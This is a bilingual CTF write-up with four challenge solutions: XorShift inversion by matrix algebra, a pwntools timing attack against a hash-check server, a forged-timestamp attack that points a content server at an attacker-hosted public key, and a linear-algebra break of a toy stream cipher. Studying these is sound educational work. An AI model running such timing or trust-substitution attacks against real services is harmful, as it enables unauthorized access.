[cry] Many Xor Shift

問題文 (Statement)

はるか昔の記憶

Memories of long long ago.

chall.py

FLAG = b'FAKE{XXXXXXXXXXXXXXXXXXXXXX}'

N = 7
M = 17005450388330379
WORD_SIZE = 32
WORD_MASK = (1 << WORD_SIZE) - 1

def encrypt(m):
    state = [int.from_bytes(m[i:i+4]) for i in range(0, len(m), 4)]
    assert len(state) == N

    def xor_shift():
        nonlocal state
        t = state[0] ^ ((state[0] << 11) & WORD_MASK)
        for i in range(N-1):
            state[i] = state[i+1]
        state[-1] = (state[-1] ^ (state[-1] >> 19)) ^ (t ^ (t >> 8))

    for _ in range(M):
        xor_shift()

    return state

print("N = ", N)
print("M = ", M)
print("WORD_SIZE = ", WORD_SIZE)
print("state = ", encrypt(FLAG))

output.txt

N = 7
M = 17005450388330379
WORD_SIZE = 32
state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524]

観察 (Observation)

疑似乱数生成器のXor Shiftはその名の通りシフト演算とBitwise-xor演算からなります。
Xor Shift is a pseudorandom number generator which consists of shift operations and bitwise-xor operations.

状態stateは32bit整数7つからなるので、それをつなげて7x32=224bitのベクトルとみなすと、次の状態の各ビットは「前の状態のある固定されたビットを集めてXORを取ったもの」と考えられます。
Since state consists of seven 32bit integers, if we connect them together and consider them as a vector of 7x32=224 bits, each bit of the next state can be thought of as "a collection of some fixed bits of the previous state taken XOR".

これは$F_2^{224}$から$F_2^{224}$への線形写像であり、$F_2$上で次数が224の正方行列で表されます。
This is a linear mapping from $F_2^{224}$ to $F_2^{224}$ and is represented by a square matrix of degree 224 on $F_2$.

この行列の$M$乗がencryptに対応する行列で、これは繰り返し二乗法を用いて高速に計算することができます。
The $M$-power of this matrix is the matrix corresponding to encrypt, which can be computed quickly using the binary exponentation.

復号化に使う行列はもちろんencryptの逆行列です。
The inverse matrix of encrypt is used for decrypting.

解法 (Solution)

solve.sage

N = 7
M = 17005450388330379
WORD_SIZE = 32
state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524]

xor_shift = matrix(GF(2), N*32, N*32)
for i in range(N-1):
    for j in range(32):
        xor_shift[i*32+j, (i+1)*32+j] += 1
for j in range(32):
    xor_shift[(N-1)*32+j, (N-1)*32+j] += 1 # state[-1]
    if j+19 < 32:
        xor_shift[(N-1)*32+j, (N-1)*32+j+19] += 1 # state[-1] >> 19
    xor_shift[(N-1)*32+j, j] += 1 # state[0]
    if j-11 >= 0:
        xor_shift[(N-1)*32+j, j-11] += 1 # state[0] << 11
    if j+8 < 32:
        xor_shift[(N-1)*32+j, j+8] += 1 # state[0] >> 8
    if j+8 < 32 and j+8-11 >= 0:
        xor_shift[(N-1)*32+j, j+8-11] += 1 # (state[0] << 11) >> 8

encrypt = xor_shift^M
decrypt = encrypt^(-1)
cipher = vector(GF(2), N*32)
for i in range(N):
    for j in range(32):
        cipher[i*32+j] = state[i] >> j & 1
plain = decrypt*cipher

msg = b""
for i in range(N):
    x = sum(int(plain[i*32+j]) << j for j in range(32))
    msg += x.to_bytes(4)
print(msg)

[mis] Cheat Code

問題文 (Statement)

チートがあれば何でもできる

You can do anything with cheats.

nc chal-lz56g6.wanictf.org 5000

server.py

from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re

challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))

def super_strong_hash(s: str) -> bytes:
    sb = s.encode()
    for _ in range(hash_strength):
        sb = sha256(sb).digest()
    return sb

cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")

secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")

def check_code(given_secret_code, given_cheat_code):
    def check_cheat_code(given_cheat_code):
        return super_strong_hash(given_cheat_code) == cheat_code_hash

    digit_is_correct = []
    for i in range(10):
        digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
    return all(digit_is_correct)

given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
    print("Too long!")
    exit(1)
for i in range(challenge_times):
    print(f"=====Challenge {i+1:03d}=====")
    given_secret_code = input("Enter the secret code: ")
    if not re.match(r"^\d{10}$", given_secret_code):
        print("Wrong format!")
        exit(1)
    if check_code(given_secret_code, given_cheat_code):
        print("Correct!")
        print(flag)
        exit(0)
    else:
        print("Wrong!")
print("Game over!")

観察 (Observation)

secret codeという$10^{10}$以下のランダムな整数を100回以内のチャレンジで見つけられるとフラグが得られますという問題です。
This is a problem that if you can find a random integer less than $10^{10}$ called secret code within 100 tries, you will get a flag.

secret codeが正しくなくても最初に入力したcheat codeが正しければacceptされるのですが、このチェック(sha256を10000回実装するので他の処理に比べてかなり重い)がsecret codeの各桁の比較ごとにわざわざ走ります。
Even if the secret code is not correct, if the cheat code entered first is correct, it will be accepted, but this check (which is much heavier than other processes because it implements sha256 10000 times) is run for each comparison of each digit of the secret code.

与えた入力によって実行時間が異なるので、タイミング攻撃ができます。
The execution time varies depending on the input given, allowing for timing attacks.

応答時間はおよそsecret codeの間違った桁数にほぼ比例するため、1桁ずつ答えを0から9まで試して最も応答時間が短かったものを選んで確定させれば良さそうです。
Since the response time is approximately proportional to the number of wrong digits in the secret code, it seems that it is sufficient to try the answer one digit at a time, from 0 to 9, and select the one with the shortest response time to confirm the answer.

解法

import sys
import time

import pwnlib
from pwn import context, remote

context.timeout = 3
host = "chal-lz56g6.wanictf.org"
conn = remote(host, 5000)

conn.recvuntil(b"cheat code: ")
conn.sendline(b"foo")

ans = "0" * 10
for i in range(10):
    times = []
    for j in range(10):
        conn.recvuntil(b"secret code: ")

        msg = (ans[:i] + str(j) + ans[i + 1 :]).encode()
        st = time.perf_counter_ns()
        conn.sendline(msg)
        res = conn.recvuntil(b"\n")
        ed = time.perf_counter_ns()
        times.append(ed - st)
        print(f"i: {i}, j: {j}, time: {ed - st}ns")

        if b"Correct!" in res:
            flag = conn.recvuntil(b"\n")
            print(flag)
            sys.exit(0)
    ans = ans[:i] + str(times.index(min(times))) + ans[i + 1 :]

[web] One Day One Letter

問題文 (Statement)

果報は寝て待て

Everything comes to those who wait

content-server/erquirements.txt

pycryptodome

content-server/server.py

import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin

from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)

def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)

def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200, "ok")
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
        self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_POST(self):
        try:
            nbytes = int(self.headers.get('content-length'))
            body = json.loads(self.rfile.read(nbytes).decode('utf-8'))

            timestamp = body['timestamp'].encode('utf-8')
            signature = bytes.fromhex(body['signature'])
            timeserver = body['timeserver']

            pubkey = get_pubkey_of_timeserver(timeserver)
            h = SHA256.new(timestamp)
            verifier = DSS.new(pubkey, 'fips-186-3')
            verifier.verify(h, signature)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            dt = datetime.fromtimestamp(int(timestamp))
            res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        except Exception:
            self.send_response(HTTPStatus.UNAUTHORIZED)
            self.end_headers()

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()

time-server/requirements.txt

pycryptodome

time-server/server.py

from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamp = str(int(time.time())).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()

観察 (Observation)

ウェブサイトにアクセスすると以下のようなメッセージが出てきます。
When you access the website, you will see the following message.

Current time is 2024-06-24 08:25:05.

Flag is FLAG{??i?????????}.

You can get only one letter of the flag each day.

See you next day.

ソースを見ると./script.jsから内容を生成していることがわかります。./script.jsにアクセスすると以下が得られます。
If you look at the source, you will see that the content is generated from . /script.js to generate the content. If you access . /script.js, we get the following code.

script.js

const contentserver = 'web-one-day-one-letter-content-lz56g6.wanictf.org'
const timeserver = 'web-one-day-one-letter-time-lz56g6.wanictf.org'

function getTime() {
    return new Promise((resolve) => {
        const xhr = new XMLHttpRequest();
        xhr.open('GET', 'https://' + timeserver);
        xhr.send();
        xhr.onload = () => {
            if(xhr.readyState == 4 && xhr.status == 200) {
                resolve(JSON.parse(xhr.response))
            }
        };
    });
}

function getContent() {
    return new Promise((resolve) => {
        getTime()
        .then((time_info) => {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://' + contentserver);
            xhr.setRequestHeader('Content-Type', 'application/json')
            const body = {
                timestamp : time_info['timestamp'],
                signature : time_info['signature'],
                timeserver : timeserver
            };
            xhr.send(JSON.stringify(body));
            xhr.onload = () => {
                if(xhr.readyState == 4 && xhr.status == 200) {
                    resolve(xhr.response);
                }
            };
        });
    });
}

function initialize() {
    getContent()
    .then((content) => {
        document.getElementById('content').innerHTML = content;
    });
}

initialize();

Webページ、content-server、time-serverの3つのソースを見ると以下の動作をしていることがわかります。

Webページはtime-serverの/からHTTPSでGET
time-serverはWebページに現在時刻とそのデジタル署名を返す
Webページはもらった現在時刻とデジタル署名、そしてtime-serverのホスト名をcontent-serverの/にHTTPSでPOST
content-serverは受け取ったtime-serverの/pubkeyからHTTPSでGET
time-serverはcontent-serverに公開鍵を返す
content-serverはWebページから受け取った時刻と署名を公開鍵で検証
正当な時刻であった場合、その日付に対応したフラグの1文字だけをWebページに返す
Webページは1文字だけ開示されたフラグを表示

The three sources, web-page, content-server, and time-server, show the following behavior.

Web-page GET via HTTPS from time-server's /.
Time-server returns the current time and its digital signature to web-page.
Content-server GETS via HTTPS from time-server's /pubkey gotten from web-page.
Time-server returns the public key to content-server.
Content-server verify the time and the signature gotten from Web page with the public key.
If it is accepted, content-server returns only one letter of the flag corresponded to the date.
Web-page displays the partially published flag.

嘘の日付をcontent-serverに伝えることができればフラグのすべての文字を取得することができます。
このためにはtime-serverをセルフホストすればよいです。
If you can tell the content-server the date of the lie, you can get all the characters of the flag.

都合の良い日付(ランダムなど)を教えるように改造したtime-serverを作成してHTTPSで公開し、script.jsのtimeserverをそのホスト名に書き換えて実行すれば問題が解けます。
You can self-host the time-server for this purpose.

…ところでHTTPSサーバーの公開はポートの開放やSSL証明書の取得など面倒だったりお金が掛かりそうだったりしそうな作業です。
...By the way, publishing an HTTPS server seems to be a tedious and expensive process, such as opening ports and obtaining SSL certificates.

実はこの部分はGitHub Pagesなどの静的ウェブページホスティングサービスを利用すれば十分です。
Actually, it is sufficient to use a static web page hosting service such as GitHub Pages for this part.

本来のtime-serverは時刻を動的に回答しないといけませんが、/へのGETはWebページからしか行われないため、嘘の時刻の生成とそこへの署名は自分のパソコンで実行すればよく、/pubkeyに公開鍵のテキストファイルをおいたサーバーをcontent-serverに教えられれば十分です。
The original time-server must answer the time dynamically, but since the GET to / is only done from a web page, it is sufficient to generate a false time and sign it on your own computer, and it is sufficient if you can tell content-server the server where you put the public key text file in /pubkey.

解法

solve.py

import requests
from urllib.parse import urljoin
import re
import sys
import json
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

contentserver = 'web-one-day-one-letter-content-lz56g6.wanictf.org'
fake_timeserver = 'kowerkoint.github.io/eu2yee7ahphiequ2thieWinaid3aa1ne/'

key = ECC.import_key('''-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgClFsH0C0rxz6JEhr
QjuaNlUadlJjvXt79jwHTE9MJw2hRANCAATuvbOV9EG7s+iuLsuKv/65iKt2htUr
uOeoIgG3WPrMpxyX0UuXhwCIxhqycbBDfYIusS2IXiZ0V8/inCOQN25g
-----END PRIVATE KEY-----''')
flag = ['?'] * 12
for i in range(12):
    timestamp = str(i*24*60*60).encode('utf-8')
    h = SHA256.new(timestamp)
    signer = DSS.new(key, 'fips-186-3')
    signature = signer.sign(h)
    post_data = {
        'timestamp': timestamp.decode('utf-8'),
        'signature': signature.hex(),
        'timeserver': fake_timeserver
    }
    res = requests.post('https://' + contentserver, data=json.dumps(post_data), headers={'Content-Type': 'application/json'}, timeout=3)
    res.raise_for_status()
    match = re.search(r"FLAG\{(.+)\}", res.text)
    assert match is not None
    flag_content = match.group(1)
    for i in range(12):
        if flag_content[i] != '?':
            flag[i] = flag_content[i]
print(flag)

[cry] speedy 別解 (おまけ)

I'm sorry but this is written in Japanese only.

問題文

I made a super speedy keystream cipher!!

chall.py

from cipher import MyCipher
from Crypto.Util.number import *
from Crypto.Util.Padding import *
import os

s0 = bytes_to_long(os.urandom(8))
s1 = bytes_to_long(os.urandom(8))

cipher = MyCipher(s0, s1)
secret = b'FLAG{'+b'*'*19+b'}'
pt = pad(secret, 8)
ct = cipher.encrypt(pt)
print(f'ct = {ct}')

cipher.py

from Crypto.Util.number import *
from Crypto.Util.Padding import *

def rotl(x, y):
    x &= 0xFFFFFFFFFFFFFFFF
    return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
    def __init__(self, s0, s1):
        self.X = s0
        self.Y = s1
        self.mod = 0xFFFFFFFFFFFFFFFF
        self.BLOCK_SIZE = 8
    
    def get_key_stream(self):
        s0 = self.X
        s1 = self.Y
        sum = (s0 + s1) & self.mod
        s1 ^= s0
        key = []
        for _ in range(8):
            key.append(sum & 0xFF)
            sum >>= 8
        
        self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
        self.Y = rotl(s1, 37) & self.mod
        return key
    
    def encrypt(self, pt: bytes):
        ct = b''
        for i in range(0, len(pt), self.BLOCK_SIZE):
            ct += long_to_bytes(self.X)
            key = self.get_key_stream()
            block = pt[i:i+self.BLOCK_SIZE]
            ct += bytes([block[j] ^ key[j] for j in range(len(block))])
        return ct

out.txt

ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'

観察

ストリーム暗号ですが、各ブロックに入るときの状態の半分(self.X)を埋め込んでくれています。
writer解は「最終ブロックの大部分がパディングなので残りの部分を全探索してそこから状態遷移を逆にシミュレーションできる」らしかったですが。パディング攻撃をしなくても解くことができます。
Many Xor Shiftと同様にこの問題も状態遷移を$F_2$上の行列適用で表すことができます。
1度適用するごとに状態ベクトルの半分の要素を公開してくれているので、初期状態を変数とした連立方程式を構築して解くことで求まります。

解法

ヒントは3項で十分です。

solve.py

from Crypto.Util.number import *
from sage.all import *

ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'

def rotl(x, y):
    x &= 0xFFFFFFFFFFFFFFFF
    return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
    def __init__(self, s0, s1):
        self.X = s0
        self.Y = s1
        self.mod = 0xFFFFFFFFFFFFFFFF
        self.BLOCK_SIZE = 8
    
    def get_key_stream(self):
        s0 = self.X
        s1 = self.Y
        sum = (s0 + s1) & self.mod
        s1 ^= s0
        key = []
        for _ in range(8):
            key.append(sum & 0xFF)
            sum >>= 8
        
        self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
        self.Y = rotl(s1, 37) & self.mod
        return key

    def decrypt(self, ct: bytes):
        pt = b''
        for i in range(0, len(ct), self.BLOCK_SIZE*2):
            if ct[i:i+self.BLOCK_SIZE] != long_to_bytes(self.X):
                return None
            key = self.get_key_stream()
            block = ct[i+self.BLOCK_SIZE : i+self.BLOCK_SIZE*2]
            pt += bytes([block[j] ^ key[j] for j in range(len(block))])
        return pt

succ = matrix(GF(2), 128, 128)
for i in range(64):
    succ[i, (i-24)%64] += 1 # rotl(s0, 24)
    succ[i, i] += 1 # s1
    succ[i, 64+i] += 1 # s1
    if i-16 >= 0:
        succ[i, i-16] += 1 #s1 << 16
        succ[i, 64+i-16] += 1 #s1 << 16
    succ[64+i, (i-37)%64] += 1 # rotl(s1, 37)
    succ[64+i, 64+(i-37)%64] += 1 # rotl(s1, 37)

cur = matrix.identity(GF(2), 128)
ref_eqs = 3
mat = matrix(GF(2), ref_eqs*64, 128)
v = vector(GF(2), ref_eqs*64)
for i in range(ref_eqs):
    ct_long = bytes_to_long(ct[i*16:i*16+8])
    for j in range(64):
        v[i*64+j] = GF(2)(ct_long >> j & 1)
        for k in range(128):
            mat[i*64+j, k] = cur[j,k]
    cur = succ * cur

s0s1 = mat.solve_right(v)
s0 = 0
s1 = 0
for i in range(64):
    s0 |= int(s0s1[i]) << i
    s1 |= int(s0s1[64+i]) << i
cipher = MyCipher(s0, s1)
flag = cipher.decrypt(ct)
print(flag)

なお、最初のヒントは入力s0そのままで、次のヒントもまだかんたんな式で表されることを利用すると行列を構築することなく逆算できます。2つ目のヒントははじめのs1の16bit周期の部分しか使っていないので64bit中の下16bitは全探索することになりますが、計算量的には余裕です。

def get(x, i):
    i %= 64
    return x >> i & 1
def set(x, i, v):
    i %= 64
    return x | v << i

s0 = bytes_to_long(ct[0:8])
ct1 = bytes_to_long(ct[16:24])
for s1_partial in range(1<<16):
    s1 = 0
    for i in range(16):
        if s1_partial >> i & 1:
            s1 |= 1 << i
        for j in range(3):
            k = (j+1)*16 + i
            s1 = set(s1, k, get(ct1, k) ^ get(s0, k-24) ^ get(s0, k) ^ get(s0, k-16) ^ get(s1, k-16))
    cipher = MyCipher(s0, s1)
    flag = cipher.decrypt(ct)
    if flag is None:
        continue
    print(flag)